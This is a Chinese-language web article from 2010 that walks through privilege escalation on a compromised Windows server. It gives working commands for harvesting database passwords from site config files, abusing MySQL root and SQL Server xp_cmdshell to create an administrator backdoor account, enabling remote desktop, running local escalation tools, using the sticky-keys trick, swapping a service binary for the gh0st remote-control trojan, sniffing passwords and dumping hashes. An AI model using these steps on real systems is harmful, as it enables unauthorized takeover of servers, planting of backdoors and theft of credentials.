首页 运维 网络学院 查看内容

多方式服务器提权

2010-5-4 15:35 1008 0

摘要:     多方式服务器提权     文章录入:浣花溪    责任编辑:snow  20  ...
关键词: nbsp 密码 yhsafe cmdshell 数据库 成功 FtpServer exe 服务器 root

    多方式服务器提权     文章录入:浣花溪    责任编辑:snow  20     【字体:小 大】     1.查找配置文件 ,翻阅网站目录下的 config.asp config.php conn.asp inc目录查找 具有高权限的账号和密码     比如说: root 密码 SA的密码。     // [CH] 以下变量请根据空间商提供的账号参数修改,如有疑问,请联系服务器提供商     $dbhost = 'localhost';     // 数据库服务器     $dbuser = 'root';     // 数据库用户名     $dbpw = '123';     // 数据库密码     $dbname = 'discuz';     // 数据库名     $pconnect = 0;     // 数据库持久连接 0=关闭, 1=打     得到root 帐户密码:     root     123     利用MySQL root 提权     DLL已成功的导出到c:\\windows\\system32\\mysqlDll_1269695183.dll     Function 'state' already exists     select state(“net user yhsafe yhsafe /add”)     SQL语句成功执行:Resource id #2     Array     (     [0] => 命令成功完成。     succeed!     [state(“net user yhsafe yhsafe /add”)] => 命令成功完成。     succeed!     )     利用 SA来提权     server=localhost;UID=saWD=123;database=masterrovider=SQLOLEDB     执行xp_cmdshell 假如没有,记得先恢复xp_cmdshell     Exec master.dbo.xp_cmdshell 'net user yhsafe.com yhsafe /add'     Exec master.dbo.xp_cmdshell 'net localgroup administrators yhsafe.com /add'     开启3389:     Exec master.dbo.xp_cmdshell 'C:\inetpub\wwwroot\bbs\3389.exe 3389'     返回结果:     Now opening terminate service…success!     5.2     OK…     开启成功     2.利用一些软件配置漏洞,或者本地溢出来进行提权。     “巴西烤肉”提权:     webshell下执行 ch.exe “net user 123 123 /add”     360提权:     360.exe 3389 //这样的话就开启了远程桌面     按5下shift 就出弹出CMD     3.替换服务法     C:\ftp\FtpServer.exe     对FtpServer.exe 重命名为 FtpServer1.exe     上传一个反弹的远程控制程序。比方 gh0st     gh0st 重命名为FtpServer.exe     4.打破常规用webshell来进行sniffer     能sniffer到整个服务器的FTP HTTP这类密码。     需要用到Wireshark 专业工具来查看密码。     5.dump 密码     dump 需要administrator 甚至 system权限     dump出hash 进而对内网进一步渗透
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部